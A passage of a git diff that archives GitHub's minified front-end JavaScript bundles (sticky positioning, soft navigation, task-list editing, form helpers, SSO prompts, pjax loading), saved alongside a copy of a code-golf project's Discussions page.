B.top-D(b,k)<.1?s(u):S(u)}}t(h,"checkElementsForSticking");function v(e){const{position:u}=window.getComputedStyle(e);return/sticky/.test(u)}t(v,"browserHasSticky");function s({element:e,placeholder:u,top:b}){if(u){const P=e.getBoundingClientRect();I(e,D(e,b)),e.style.left=`${P.left}px`,e.style.width=`${P.width}px`,e.style.marginTop="0",e.style.position="fixed",u.style.display="block"}e.classList.add("is-stuck")}t(s,"pinSet");function S({element:e,placeholder:u}){u&&(e.style.position="static",e.style.marginTop=u.style.marginTop,u.style.display="none"),e.classList.remove("is-stuck")}t(S,"unpinSet");function T({element:e,placeholder:u,offsetParent:b,top:P}){if(u&&!(0,d.h)()){const k=e.getBoundingClientRect(),B=u.getBoundingClientRect();if(I(e,D(e,P)),e.style.left=`${B.left}px`,e.style.width=`${B.width}px`,b){const H=b.getBoundingClientRect();H.bottomb.element).indexOf(e);o.splice(u,1)}t(n,"removeSet");async function l(e){await A.C,C(e),h(),a()}t(l,"initializeSet"),(0,_.N7)(".js-sticky",{constructor:HTMLElement,add(e){!e.isConnected||l(e)},remove(e){n(e),a()}}),(0,_.N7)(".js-notification-top-shelf",{constructor:HTMLElement,add(e){g(e)},remove(){(0,y._g)()>0&&((0,y.lB)(0),f(),c())}}),(0,_.N7)(".js-notification-shelf-offset-top, .js-position-sticky",{constructor:HTMLElement,add:w});async function g(e){if(e.offsetParent===null)return;await A.C;const u=Math.floor(e.getBoundingClientRect().height);u>0&&((0,y.lB)(u),f(),c())}t(g,"initializeNotificationShelf");function f(){for(const e of document.querySelectorAll(".js-position-sticky, .js-notification-shelf-offset-top"))w(e)}t(f,"updateTopOffsets");function w(e){if(e.classList.contains("js-notification-top-shelf"))return;const u=parseInt(M(e))||0;I(e,u+(0,y._g)())}t(w,"updateTopOffset");function M(e){const u=e.getAttribute("data-original-top");if(u!=null)return u;const b=window.getComputedStyle(e).top;return e.setAttribute("data-original-top",b),b}t(M,"getOriginalTop");function D(e,u){return e.classList.contains("js-notification-top-shelf")?u:u+(0,y._g)()}t(D,"withShelfOffset");function I(e,u){e.style.setProperty("top",`${u}px`,"important")}t(I,"setTopImportant")},84818:(R,L,r)=>{r.d(L,{Z:()=>A});class d{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}t(d,"NoOpStorage");function A(_,y={throwQuotaErrorsOnSet:!1},p=window){let o;try{o=p[_]}catch{o=new d}const{throwQuotaErrorsOnSet:a}=y;function i(E){try{return o.getItem(E)}catch{return null}}t(i,"getItem");function m(E,h){try{o.setItem(E,h)}catch(v){if(a&&v.message.toLowerCase().includes("quota"))throw v}}t(m,"setItem");function c(E){try{o.removeItem(E)}catch{}}return t(c,"removeItem"),{getItem:i,setItem:m,removeItem:c}}t(A,"safeStorage")},24216:(R,L,r)=>{r.d(L,{LS:()=>_,cl:()=>y,rV:()=>A});var d=r(84818);const{getItem:A,setItem:_,removeItem:y}=(0,d.Z)("sessionStorage")},29946:(R,L,r)=>{r.d(L,{Ak:()=>s,F2:()=>w,F6:()=>n,FP:()=>h,LD:()=>E,OE:()=>c,Po:()=>m,QE:()=>y,Rl:()=>g,Xk:()=>O,Ys:()=>C,aN:()=>f,wP:()=>l});var d=r(24216),A=r(47930),_=r(45922);const y=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),p="soft-navigation-fail",o="soft-navigation-referrer",a="soft-navigation-marker",i="reload";function m(){return(0,d.rV)(a)==="1"}t(m,"inSoftNavigation");function c(){return Boolean(S())}t(c,"hasSoftNavFailure");function E(){performance.mark(a),(0,d.LS)(a,"1"),(0,d.LS)(o,(0,A.S)()||window.location.href)}t(E,"startSoftNav");function h(){(0,d.LS)(a,"0")}t(h,"endSoftNav");function v(){(0,d.LS)(a,"0"),(0,d.cl)(o),(0,d.cl)(p)}t(v,"clearSoftNav");function s(M){(0,d.LS)(p,M||i)}t(s,"setSoftNavFailReason");function S(){return(0,d.rV)(p)}t(S,"getSoftNavFailReason");let T=0;function O(){T+=1,document.dispatchEvent(new CustomEvent(y.SUCCESS,{detail:T}))}t(O,"softNavSucceeded");function C(){const M=S()||i;document.dispatchEvent(new CustomEvent(y.ERROR,{detail:M})),T=0,v(),(0,_.b)({turboFailureReason:M})}t(C,"softNavFailed");function n(){document.dispatchEvent(new CustomEvent(y.INITIAL)),T=0,v()}t(n,"softNavInitial");function l(){return(0,d.rV)(o)||document.referrer}t(l,"getSoftNavReferrer");function g(){return performance.getEntriesByName(a).length===0?0:performance.measure(a,a).duration}t(g,"getDurationSinceLastSoftNav");function f(){document.dispatchEvent(new Event(y.START))}t(f,"beginProgressBar");function w(){document.dispatchEvent(new Event(y.END))}t(w,"completeProgressBar")},11820:(R,L,r)=>{r.d(L,{kc:()=>y,lA:()=>p,zT:()=>_});var d=r(61161),A=r(55898);function _(o){if(o.hasAttribute("data-ignore-sticky-scroll"))return;const a=o.ownerDocument;setTimeout(()=>{a&&a.defaultView&&(o.scrollIntoView(),a.defaultView.scrollBy(0,-p(a)))},0)}t(_,"scrollIntoView");function y(o){const a=(0,d.Kt)(o);a&&_(a)}t(y,"scrollToFragmentTarget");function p(o){(0,A.H)();const a=o.querySelectorAll(".js-sticky-offset-scroll"),i=o.querySelectorAll(".js-position-sticky"),m=Math.max(0,...Array.from(a).map(h=>{const{top:v,height:s}=h.getBoundingClientRect();return v===0?s:0}))+Math.max(0,...Array.from(i).map(h=>{const{top:v,height:s}=h.getBoundingClientRect(),S=parseInt(getComputedStyle(h).top);if(!h.parentElement)return 0;const T=h.parentElement.getBoundingClientRect().top;return v===S&&T<0?s:0})),c=o.querySelectorAll(".js-position-sticky-stacked"),E=Array.from(c).reduce((h,v)=>{const{height:s,top:S}=v.getBoundingClientRect(),T=S<0,O=v.classList.contains("is-stuck");return h+(!T&&O?s:0)},0);return m+E}t(p,"computeFixedYOffset")},78965:(R,L,r)=>{r.d(L,{H5:()=>i,Of:()=>E,x0:()=>c,z8:()=>m});var d=r(55741),A=r(64463),_=r(12981),y=r(96776),p=r(6170);const o=new WeakMap,a={};function i(){for(const S of Object.keys(a))delete a[S];const s=history.state||{};s.staleRecords=a,(0,p.lO)(s,"",location.href),window.location.reload()}t(i,"reload");function m(){if(Object.keys(a).length>0){const s=history.state||{};s.staleRecords=a,(0,p.lO)(s,"",location.href)}}t(m,"registerStaleRecords");async function c(s){if(o.get(s))return;const S=s.hasAttribute("data-retain-focus"),T=s.getAttribute("data-url");if(!T)throw new Error("could not get url");const O=new AbortController;o.set(s,O);try{const C=await fetch(T,{signal:O.signal,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});if(!C.ok)return;const n=await C.text();if((0,d.M)(s,S)){console.warn("Failed to update content with interactions",s);return}return a[T]=n,h(s,n,S)}catch{}finally{o.delete(s)}}t(c,"updateContent");async function E(s,S,T=!1){const O=o.get(s);O==null||O.abort();const C=s.closest(".js-updatable-content[data-url], .js-updatable-content [data-url]");return!T&&C&&C===s&&(a[C.getAttribute("data-url")||""]=S),h(s,S)}t(E,"replaceContent");function h(s,S,T=!1){return(0,y._8)(document,()=>{const O=(0,_.r)(document,S.trim()),C=T&&s.ownerDocument&&s===s.ownerDocument.activeElement?O.querySelector("*"):null,n=Array.from(s.querySelectorAll("details[open][id]")).map(l=>l.id);s.tagName==="DETAILS"&&s.id&&s.hasAttribute("open")&&n.push(s.id);for(const l of s.querySelectorAll(".js-updatable-content-preserve-scroll-position")){const g=l.getAttribute("data-updatable-content-scroll-position-id")||"";v.set(g,l.scrollTop)}for(const l of n){const g=O.querySelector(`#${l}`);g&&g.setAttribute("open","")}s.replaceWith(O),C instanceof HTMLElement&&C.focus()})}t(h,"replace");const v=new Map;(0,A.N7)(".js-updatable-content-preserve-scroll-position",{constructor:HTMLElement,add(s){const S=s.getAttribute("data-updatable-content-scroll-position-id");if(!S)return;const T=v.get(S);T!=null&&(s.scrollTop=T)}})}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7-5a4c6c94cf6d.js.map \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js new file mode 100644 index 0000000..005869f --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js @@ -0,0 +1,14 @@ +"use strict";(()=>{var ne=Object.defineProperty;var s=(M,w)=>ne(M,"name",{value:w,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef"],{7679:(M,w,c)=>{c.d(w,{H:()=>f,v:()=>p});var h=c(59753);function p(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!1)}s(p,"showGlobalError");function f(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!0)}s(f,"hideGlobalError"),(0,h.on)("deprecatedAjaxError","[data-remote]",function(l){const r=l.detail,{error:d,text:E}=r;l.currentTarget===l.target&&(d==="abort"||d==="canceled"||(/{c.d(w,{Ty:()=>p,YE:()=>f,Zf:()=>l});var h=c(11793);const p=s(()=>{const r=document.querySelector("meta[name=keyboard-shortcuts-preference]");return r?r.content==="all":!0},"areCharacterKeyShortcutsEnabled"),f=s(r=>/Enter|Arrow|Escape|Meta|Control|Esc/.test(r)||r.includes("Alt")&&r.includes("Shift"),"isNonCharacterKeyShortcut"),l=s(r=>{const d=(0,h.EL)(r);return p()?!0:f(d)},"isShortcutAllowed")},72669:(M,w,c)=>{c.d(w,{L$:()=>E,nj:()=>g});var h=c(6741),p=c(59753),f=c(40987),l=c(64463),r=c(65935),d=c(56238);(0,l.N7)(".js-task-list-container .js-task-list-field",function(e){const o=e.closest(".js-task-list-container");E(o),q(o)}),(0,p.on)("task-lists-move","task-lists",function(e){const{src:o,dst:t}=e.detail,u=e.currentTarget.closest(".js-task-list-container");m(u,"reordered",{operation:"move",src:o,dst:t})}),(0,p.on)("task-lists-check","task-lists",function(e){const{position:o,checked:t}=e.detail,u=e.currentTarget.closest(".js-task-list-container");m(u,`checked:${t?1:0}`,{operation:"check",position:o,checked:t})});function E(e){if(e.querySelector(".js-task-list-field")){const o=e.querySelectorAll("task-lists");for(const t of o)if(t instanceof f.Z){t.disabled=!1;const u=t.querySelectorAll("button");for(const T of u)T.disabled=!1}}}s(E,"enableTaskList");function g(e){for(const o of e.querySelectorAll("task-lists"))if(o instanceof f.Z){o.disabled=!0;const t=o.querySelectorAll("button");for(const u of t)u.disabled=!0}}s(g,"disableTaskList");function m(e,o,t){const u=e.querySelector(".js-comment-update");g(e),q(e);const T=u.elements.namedItem("task_list_track");T instanceof Element&&T.remove();const y=u.elements.namedItem("task_list_operation");y instanceof Element&&y.remove();const A=document.createElement("input");A.setAttribute("type","hidden"),A.setAttribute("name","task_list_track"),A.setAttribute("value",o),u.appendChild(A);const k=document.createElement("input");if(k.setAttribute("type","hidden"),k.setAttribute("name","task_list_operation"),k.setAttribute("value",JSON.stringify(t)),u.appendChild(k),!u.elements.namedItem("task_list_key")){const O=u.querySelector(".js-task-list-field").getAttribute("name").split("[")[0],I=document.createElement("input");I.setAttribute("type","hidden"),I.setAttribute("name","task_list_key"),I.setAttribute("value",O),u.appendChild(I)}e.classList.remove("is-comment-stale"),(0,d.Bt)(u)}s(m,"saveTaskList"),(0,r.AC)(".js-task-list-container .js-comment-update",async function(e,o){const t=e.closest(".js-task-list-container"),u=e.elements.namedItem("task_list_track");u instanceof Element&&u.remove();const T=e.elements.namedItem("task_list_operation");T instanceof Element&&T.remove();let y;try{y=await o.json()}catch(A){let k;try{k=JSON.parse(A.response.text)}catch{}if(k&&k.stale){const C=t.querySelector(".js-task-list-field");C.classList.add("session-resumable-canceled"),C.classList.remove("js-session-resumable")}else A.response.status===422||window.location.reload()}y&&(T&&y.json.source&&(t.querySelector(".js-task-list-field").value=y.json.source),E(t),requestAnimationFrame(()=>q(t)))});let v=!1,_=!1,L=null;function i(e){e.inputType==="insertLineBreak"?v=!0:v=!1}s(i,"tryAutoCompleteOnBeforeInput");function a(e){const o=e;if(!v&&!(o.inputType==="insertLineBreak"))return;const t=o.target;n(t),v=!1}s(a,"autoCompleteOnInput");function n(e){const o=Y(e.value,[e.selectionStart,e.selectionEnd]);o!==void 0&&b(e,o)}s(n,"listAutocomplete");function b(e,o){if(L===null||L===!0){e.contentEditable="true";try{v=!1;let t;o.commandId===X.insertText?(t=o.autocompletePrefix,o.writeSelection[0]!==null&&o.writeSelection[1]!==null&&(e.selectionStart=o.writeSelection[0],e.selectionEnd=o.writeSelection[1])):e.selectionStart=o.selection[0],L=document.execCommand(o.commandId,!1,t)}catch{L=!1}e.contentEditable="false"}if(!L){try{document.execCommand("ms-beginUndoUnit")}catch{}e.value=o.text;try{document.execCommand("ms-endUndoUnit")}catch{}e.dispatchEvent(new CustomEvent("input",{bubbles:!0,cancelable:!0}))}o.selection[0]!=null&&o.selection[1]!=null&&(e.selectionStart=o.selection[0],e.selectionEnd=o.selection[1])}s(b,"updateElementText");function S(e){if(_)return;const o=e;if(o.key==="Enter"&&o.shiftKey&&!o.metaKey){const t=o.target,u=G(t.value,[t.selectionStart,t.selectionEnd]);if(u===void 0)return;b(t,u),o.preventDefault(),(0,p.f)(t,"change")}}s(S,"handleShiftEnter");function R(){_=!0}s(R,"onCompositionStart");function j(){_=!1}s(j,"onCompositionEnd");function H(e){if(_)return;const o=e;if(o.key==="Escape"){ee(e);return}if(o.key!=="Tab")return;const t=o.target,u=Q(t.value,[t.selectionStart,t.selectionEnd],o.shiftKey);u!==void 0&&(o.preventDefault(),b(t,u))}s(H,"updateIndentation"),(0,l.N7)(".js-task-list-field",{subscribe:e=>(0,h.qC)((0,h.RB)(e,"keydown",H),(0,h.RB)(e,"keydown",S),(0,h.RB)(e,"beforeinput",i),(0,h.RB)(e,"input",a),(0,h.RB)(e,"compositionstart",R),(0,h.RB)(e,"compositionend",j))});var X=(e=>(e.insertText="insertText",e.delete="delete",e))(X||{});const Z=/^(\s*)?/;function G(e,o){const t=o[0];if(!t||!e)return;const u=e.substring(0,t).split(` +`),T=u[u.length-1],y=T==null?void 0:T.match(Z);if(!y)return;const k=` +${y[1]||""}`;return{text:e.substring(0,t)+k+e.substring(t),autocompletePrefix:k,selection:[t+k.length,t+k.length],commandId:"insertText",writeSelection:[null,null]}}s(G,"addSoftNewline");const z=/^(\s*)([*-]|(\d+)\.)\s(\[[\sx]\]\s)?/;function J(e,o){let t=e.split(` +`);return t=t.map(u=>{if(u.replace(/^\s+/,"").startsWith(`${o}.`)){const T=u.replace(`${o}`,`${o+1}`);return o+=1,T}return u}),t.join(` +`)}s(J,"updateRemainingNumberBullets");function Y(e,o){const t=o[0];if(!t||!e)return;const u=e.substring(0,t).split(` +`),T=u[u.length-2],y=T==null?void 0:T.match(z);if(!y)return;const A=y[0],k=y[1],C=y[2],x=parseInt(y[3],10),O=Boolean(y[4]),I=!isNaN(x);let B=`${I?`${x+1}.`:C} ${O?"[ ] ":""}`,W=e.indexOf(` +`,t);W<0&&(W=e.length);const K=e.substring(t,W);if(K.startsWith(B)&&(B=""),T.replace(A,"").trim().length>0||K.trim().length>0){let P=`${k}${B}`,D=e.substring(t);const F=P.length;let U=[null,null];const te=/^\s*$/g;let V=e.substring(0,t)+P+D;return I&&!e.substring(t).match(te)&&(D=J(e.substring(t),x+1),P+=D,U=[t,t+P.length],V=e.substring(0,t)+P),{text:V,autocompletePrefix:P,selection:[t+F,t+F],commandId:"insertText",writeSelection:U}}else{const P=t-` +${A}`.length;return{autocompletePrefix:"",text:e.substring(0,P)+e.substring(t),selection:[P,P],commandId:"delete",writeSelection:[null,null]}}}s(Y,"autocompletedList");function Q(e,o,t){const u=o[0]||0,T=o[1]||u;if(o[0]===null||u===T)return;const y=e.substring(0,u).lastIndexOf(` +`)+1,A=e.indexOf(` +`,T-1),k=A>0?A:e.length-1,C=e.substring(y,k).split(` +`);let x=!1,O=0,I=0;const N=[];for(const $ of C){const P=$.match(/^\s*/);if(P){let D=P[0];const F=$.substring(D.length);if(t){const U=D.length;D=D.slice(0,-2),O=x?O:D.length-U,x=!0,I+=D.length-U}else D+=" ",O=2,I+=2;N.push(D+F)}}const B=N.join(` +`),W=e.substring(0,y)+B+e.substring(k),K=[Math.max(y,u+O),T+I];return{text:W,selection:K,autocompletePrefix:B,commandId:"insertText",writeSelection:[y,k]}}s(Q,"indent");function ee(e){const t=e.target;t.selectionDirection==="backward"?t.selectionEnd=t.selectionStart:t.selectionStart=t.selectionEnd}s(ee,"deselectText");function q(e){if(document.querySelectorAll("tracked-issues-progress").length===0||e.closest(".js-timeline-item"))return;const t=e.querySelectorAll(".js-comment-body [type=checkbox]"),u=t.length,T=Array.from(t).filter(A=>A.checked).length,y=document.querySelectorAll("tracked-issues-progress[data-type=checklist]");for(const A of y)A.setAttribute("data-completed",String(T)),A.setAttribute("data-total",String(u))}s(q,"updateProgress")},12737:(M,w,c)=>{c.d(w,{W:()=>p});var h=c(59753);async function p(f){const r=document.querySelector("#site-details-dialog").content.cloneNode(!0),d=r.querySelector("details"),E=d.querySelector("details-dialog"),g=d.querySelector(".js-details-dialog-spinner");f.detailsClass&&d.classList.add(...f.detailsClass.split(" ")),f.dialogClass&&E.classList.add(...f.dialogClass.split(" ")),f.label?E.setAttribute("aria-label",f.label):f.labelledBy&&E.setAttribute("aria-labelledby",f.labelledBy),document.body.append(r);const m=await f.content;return g.remove(),E.prepend(m),d.addEventListener("toggle",()=>{d.hasAttribute("open")||((0,h.f)(E,"dialog:remove"),d.remove())}),E}s(p,"dialog")},29719:(M,w,c)=>{c.d(w,{D:()=>l,a:()=>f});var h=c(17463),p=c(12981);async function f(r,d,E){const g=new Request(d,E);g.headers.append("X-Requested-With","XMLHttpRequest");const m=await self.fetch(g);if(m.status<200||m.status>=300)throw new Error(`HTTP ${m.status}${m.statusText||""}`);return(0,h.t)((0,h.P)(r),m),(0,p.r)(r,await m.text())}s(f,"fetchSafeDocumentFragment");function l(r,d,E=1e3){return s(async function g(m){const v=new Request(r,d);v.headers.append("X-Requested-With","XMLHttpRequest");const _=await self.fetch(v);if(_.status<200||_.status>=300)throw new Error(`HTTP ${_.status}${_.statusText||""}`);if(_.status===200)return _;if(_.status===202)return await new Promise(L=>setTimeout(L,m)),g(m*1.5);throw new Error(`Unexpected ${_.status} response status from poll endpoint`)},"poll")(E)}s(l,"fetchPoll")},56238:(M,w,c)=>{c.d(w,{Bt:()=>r,DN:()=>g,KL:()=>_,Se:()=>E,qC:()=>L,sw:()=>m});var h=c(59753),p=c(2061),f=c(7679);(0,h.on)("click",".js-remote-submit-button",async function(i){const n=i.currentTarget.form;i.preventDefault();let b;try{b=await fetch(n.action,{method:n.method,body:new FormData(n),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}b&&!b.ok&&(0,f.v)()});function l(i,a,n){return i.dispatchEvent(new CustomEvent(a,{bubbles:!0,cancelable:n}))}s(l,"fire");function r(i,a){a&&(d(i,a),(0,p.j)(a)),l(i,"submit",!0)&&i.submit()}s(r,"requestSubmit");function d(i,a){if(!(i instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(a instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(a.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!i||i!==a.form)throw new Error("The specified element is not owned by the form element.")}s(d,"checkButtonValidity");function E(i,a){if(typeof a=="boolean")if(i instanceof HTMLInputElement)i.checked=a;else throw new TypeError("only checkboxes can be set to boolean value");else{if(i.type==="checkbox")throw new TypeError("checkbox can't be set to string value");i.value=a}l(i,"change",!1)}s(E,"changeValue");function g(i,a){for(const n in a){const b=a[n],S=i.elements.namedItem(n);(S instanceof HTMLInputElement||S instanceof HTMLTextAreaElement)&&(S.value=b)}}s(g,"fillFormValues");function m(i){if(!(i instanceof HTMLElement))return!1;const a=i.nodeName.toLowerCase(),n=(i.getAttribute("type")||"").toLowerCase();return a==="select"||a==="textarea"||a==="input"&&n!=="submit"&&n!=="reset"||i.isContentEditable}s(m,"isFormField");function v(i){return new URLSearchParams(i)}s(v,"searchParamsFromFormData");function _(i,a){const n=new URLSearchParams(i.search),b=v(a);for(const[S,R]of b)n.append(S,R);return n.toString()}s(_,"combineGetFormSearchParams");function L(i){return v(new FormData(i)).toString()}s(L,"serialize")},55741:(M,w,c)=>{c.d(w,{M:()=>f,T:()=>l});var h=c(14840),p=c(56238);function f(n,b=!1){return l(n)||v(n,b)||i(n)||a(n)}s(f,"hasInteractions");function l(n){for(const b of n.querySelectorAll("input, textarea"))if((b instanceof HTMLInputElement||b instanceof HTMLTextAreaElement)&&r(b))return!0;return!1}s(l,"hasDirtyFields");function r(n){if(n instanceof HTMLInputElement&&(n.type==="checkbox"||n.type==="radio")){if(n.checked!==n.defaultChecked)return!0}else if(n.value!==n.defaultValue)return!0;return!1}s(r,"formFieldValueChanged");let d;async function E(n,b){d=n;try{await b()}finally{d=null}}s(E,"withActiveElement");function g(n){return d instanceof Element?d:n&&n.ownerDocument&&n.ownerDocument.activeElement?n.ownerDocument.activeElement:null}s(g,"getActiveElement");let m;document.addEventListener("mouseup",function(n){m=n.target});function v(n,b){const S=g(n);return S===null||b&&S===n?!1:S===n&&(0,p.sw)(S)||n.contains(S)&&!L(S)?!0:m instanceof Element&&n.contains(m)&&!!m.closest("details[open] > summary")}s(v,"hasFocus");const _="a[href], button";function L(n){var b;if(n instanceof h.Z)return!0;const S=n instanceof HTMLAnchorElement||n instanceof HTMLButtonElement,R=(b=n.parentElement)==null?void 0:b.classList.contains("task-list-item");if(S&&R)return!0;if(!(m instanceof Element))return!1;const j=n.closest(_);if(!j)return!1;const H=m.closest(_);return j===H}s(L,"activeElementIsSafe");function i(n){return n.matches(":active:enabled")}s(i,"hasMousedown");function a(n){return!!(n.closest(".is-dirty")||n.querySelector(".is-dirty"))}s(a,"markedAsDirty")},17463:(M,w,c)=>{c.d(w,{P:()=>h,t:()=>f});function h(l){const r=[...l.querySelectorAll("meta[name=html-safe-nonce]")].map(d=>d.content);if(r.length<1)throw new Error("could not find html-safe-nonce on document");return r}s(h,"getDocumentHtmlSafeNonces");class p extends Error{constructor(r,d){super(`${r} for HTTP ${d.status}`);this.response=d}}s(p,"ResponseError");function f(l,r,d=!1){const E=r.headers.get("content-type")||"";if(!d&&!E.startsWith("text/html"))throw new p(`expected response with text/html, but was ${E}`,r);if(d&&!(E.startsWith("text/html")||E.startsWith("application/json")))throw new p(`expected response with text/html or application/json, but was ${E}`,r);const g=r.headers.get("x-html-safe");if(g){if(!l.includes(g))throw new p("response X-HTML-Safe nonce did not match",r)}else throw new p("missing X-HTML-Safe nonce",r)}s(f,"verifyResponseHtmlSafeNonce")},45075:(M,w,c)=>{c.d(w,{ZG:()=>r,q6:()=>E,w4:()=>d});var h=c(8439);let p=!1;const f=new h.Z;function l(g){const m=g.target;if(m instanceof HTMLElement&&m.nodeType!==Node.DOCUMENT_NODE)for(const v of f.matches(m))v.data.call(null,m)}s(l,"handleFocus");function r(g,m){p||(p=!0,document.addEventListener("focus",l,!0)),f.add(g,m),document.activeElement instanceof HTMLElement&&document.activeElement.matches(g)&&m(document.activeElement)}s(r,"onFocus");function d(g,m,v){function _(L){const i=L.currentTarget;!i||(i.removeEventListener(g,v),i.removeEventListener("blur",_))}s(_,"blurHandler"),r(m,function(L){L.addEventListener(g,v),L.addEventListener("blur",_)})}s(d,"onKey");function E(g,m){function v(_){const{currentTarget:L}=_;!L||(L.removeEventListener("input",m),L.removeEventListener("blur",v))}s(v,"blurHandler"),r(g,function(_){_.addEventListener("input",m),_.addEventListener("blur",v)})}s(E,"onInput")},2061:(M,w,c)=>{c.d(w,{j:()=>h,u:()=>p});function h(f){const l=f.closest("form");if(!(l instanceof HTMLFormElement))return;let r=p(l);if(f.name){const d=f.matches("input[type=submit]")?"Submit":"",E=f.value||d;r||(r=document.createElement("input"),r.type="hidden",r.classList.add("is-submit-button-value"),l.prepend(r)),r.name=f.name,r.value=E}else r&&r.remove()}s(h,"persistSubmitButtonValue");function p(f){const l=f.querySelector("input.is-submit-button-value");return l instanceof HTMLInputElement?l:null}s(p,"findPersistedSubmitButtonValue")},25833:(M,w,c)=>{c.d(w,{Z:()=>L});var h=c(12737),p=c(29719),f=c(64463);function l(i){return new Promise(a=>{i.addEventListener("dialog:remove",a,{once:!0})})}s(l,"waitForDialogClose");function r(i){const a=document.querySelector(".sso-modal");!a||(a.classList.remove("success","error"),i?a.classList.add("success"):a.classList.add("error"))}s(r,"setModalStatus");function d(i){const a=document.querySelector("meta[name=sso-expires-around]");a&&a.setAttribute("content",i)}s(d,"updateExpiresAroundTag");async function E(){const i=document.querySelector("link[rel=sso-modal]"),a=await(0,h.W)({content:(0,p.a)(document,i.href),dialogClass:"sso-modal"});let n=null;const b=window.external;if(b.ssoComplete=function(S){S.error?(n=!1,r(n)):(n=!0,r(n),d(S.expiresAround),window.focus()),b.ssoComplete=null},await l(a),!n)throw new Error("sso prompt canceled")}s(E,"ssoPrompt"),(0,f.N7)(".js-sso-modal-complete",function(i){if(window.opener&&window.opener.external.ssoComplete){const a=i.getAttribute("data-error"),n=i.getAttribute("data-expires-around");window.opener.external.ssoComplete({error:a,expiresAround:n}),window.close()}else{const a=i.getAttribute("data-fallback-url");a&&(window.location.href=a)}});function g(i){if(!(i instanceof HTMLMetaElement))return!0;const a=parseInt(i.content);return new Date().getTime()/1e3>a}s(g,"expiresSoon");async function m(){const i=document.querySelector("link[rel=sso-session]"),a=document.querySelector("meta[name=sso-expires-around]");if(!(i instanceof HTMLLinkElement)||!g(a))return!0;const n=i.href;return await(await fetch(n,{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})).json()}s(m,"fetchSsoStatus");let v=null;function _(){v=null}s(_,"clearActiveSsoPrompt");async function L(){await m()||(v||(v=E().then(_).catch(_)),await v)}s(L,"__WEBPACK_DEFAULT_EXPORT__")},6741:(M,w,c)=>{c.d(w,{RB:()=>p,qC:()=>f,w0:()=>h});class h{constructor(r){this.closed=!1,this.unsubscribe=()=>{r(),this.closed=!0}}}s(h,"Subscription");function p(l,r,d,E={capture:!1}){return l.addEventListener(r,d,E),new h(()=>{l.removeEventListener(r,d,E)})}s(p,"fromEvent");function f(...l){return new h(()=>{for(const r of l)r.unsubscribe()})}s(f,"compose")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef-e439d69777c7.js.map \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js new file mode 100644 index 0000000..f4bf598 --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var me=Object.defineProperty;var t=(C,v)=>me(C,"name",{value:v,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_pjax_ts"],{41307:(C,v,d)=>{d.d(v,{ZP:()=>M,y0:()=>le});var f=d(6170),c=d(54293),l=d(61161),m=d(49815),p=d(12981),E=d(45922);const u=20;let a,h=null;function s(r,o,e){return r.dispatchEvent(new CustomEvent(o,{bubbles:!0,cancelable:!0,detail:e}))}t(s,"dispatch");async function M(r){var o,e,n,y;const i={push:!0,replace:!1,type:"GET",dataType:"html",scrollTo:0,...r};i.requestUrl=i.url;const g=I(i.url).hash,S=i.container,T=N(S);a||(a={id:O(),url:window.location.href,title:document.title,container:T,fragment:i.fragment},(0,f.lO)(a,a.title,a.url)),h==null||h.abort();const{signal:w}=h=new AbortController;i.push===!0&&i.replace!==!0&&(ae(a.id,j(S)),(0,f.qA)(null,"",i.requestUrl)),s(S,"pjax:start",{url:i.url}),s(S,"pjax:send");let x;const b=ce();try{x=await fetch(i.url,{signal:w,method:i.type,body:i.data,headers:{Accept:"text/html","X-PJAX":"true","X-PJAX-Container":T,"X-Requested-With":"XMLHttpRequest","X-PJAX-VERSION":(o=b.pjax)!=null?o:"","X-PJAX-CSP-VERSION":(e=b.csp)!=null?e:"","X-PJAX-CSS-VERSION":(n=b.css)!=null?n:"","X-PJAX-JS-VERSION":(y=b.js)!=null?y:""}})}catch{x=void 0}if(!x||!x.ok){const D=s(S,"pjax:error");if(i.type==="GET"&&D){const Q=x&&x.headers.get("X-PJAX-URL"),fe=Q?I(Q).href:i.requestUrl;(0,E.b)({pjaxFailureReason:"response_error",requestUrl:i.requestUrl}),U(fe)}s(S,"pjax:complete"),s(S,"pjax:end");return}const K=a,ee=se(),te=x.headers.get("X-PJAX-Version"),ue=await 